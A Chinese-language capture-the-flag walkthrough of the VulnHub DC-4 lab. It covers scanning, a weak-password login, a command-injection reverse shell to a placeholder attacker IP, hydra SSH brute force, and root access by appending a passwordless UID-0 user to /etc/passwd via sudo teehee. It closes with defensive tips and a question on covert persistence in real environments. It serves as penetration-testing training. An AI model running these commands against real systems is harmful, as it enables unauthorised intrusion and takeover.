vulnhub系列11——DC 4
字数 1047 2025-08-12 11:34:31
DC-4 靶场实战教学文档
靶场概述
DC-4 是 Vulnhub 上的一个渗透测试靶场,难度中等,主要考察信息收集、Web 应用安全、权限提升等技能。
环境准备
- 靶机 IP: 192.168.56.142
- 攻击机: Kali Linux 或其他渗透测试发行版
渗透测试流程
一、信息收集
1. 网络扫描
netdiscover -r 192.168.56.0/24
2. 端口和服务扫描
nmap -sV -Pn -sC 192.168.56.142
3. 目录扫描
gobuster dir -u http://192.168.56.142/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html,cgi
二、Web 应用渗透
1. 登录页面爆破
发现 Web 登录页面后,使用以下凭据成功登录:
- 用户名: admin
- 密码: happy
2. 命令注入漏洞利用
在登录后的界面发现命令执行功能,利用此功能获取反弹 shell:
# 攻击机监听
nc -lvnp 4444
# 在命令执行处输入反弹shell命令
bash -i >& /dev/tcp/[攻击机IP]/4444 0>&1
3. 稳定 shell
获取初始 shell 后,升级为稳定 shell:
python3 -c "import pty;pty.spawn('/bin/bash');"
三、权限提升
1. 用户枚举
cat /etc/passwd
发现存在以下用户:
- charles
- jim
- sam
- root
2. 信息收集
在 jim 用户目录中发现历史文件,包含账号密码信息
3. SSH 爆破
使用 hydra 对 SSH 进行爆破,成功爆破出 jim 用户的密码
4. 邮件信息挖掘
检查邮件目录:
ls /var/spool/mail/
发现 charles 用户的邮件,从中提取出密码:
- 用户名: charles
- 密码: ^xHhA&hvim0y
5. 特权程序利用
以 charles 用户登录后,检查 sudo 权限:
sudo -l
发现 teehee 程序可以以 root 身份无密码运行
6. 提权方法
利用 teehee 在 /etc/passwd 中添加特权用户:
echo "ojbk::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
解释:
- 添加用户 "ojbk"
- UID 和 GID 设为 0 (root)
- 密码字段留空
7. 获取 root 权限
su ojbk
由于密码为空,直接回车即可获得 root 权限
关键知识点总结
-
信息收集:网络扫描、服务识别、目录爆破是渗透测试的基础
-
Web 安全:
- 弱密码爆破
- 命令注入漏洞利用
- 反弹 shell 技术
-
权限提升:
- 敏感文件查找(历史记录、邮件等)
- 特权程序滥用(sudo 权限检查)
- /etc/passwd 文件写入提权
-
Linux 系统知识:
- 用户和权限管理
- 邮件系统存储位置
- 特权程序利用
防御建议
- 使用强密码策略
- 限制命令执行功能或进行严格输入过滤
- 定期检查系统特权程序配置
- 监控 /etc/passwd 等关键文件的修改
- 及时清理敏感历史记录和邮件
扩展思考
- 如果 teehee 程序不可用,还有哪些可能的提权路径?
- 如何检测和防御此类 passwd 文件写入提权?
- 在真实环境中,如何更隐蔽地进行权限维持?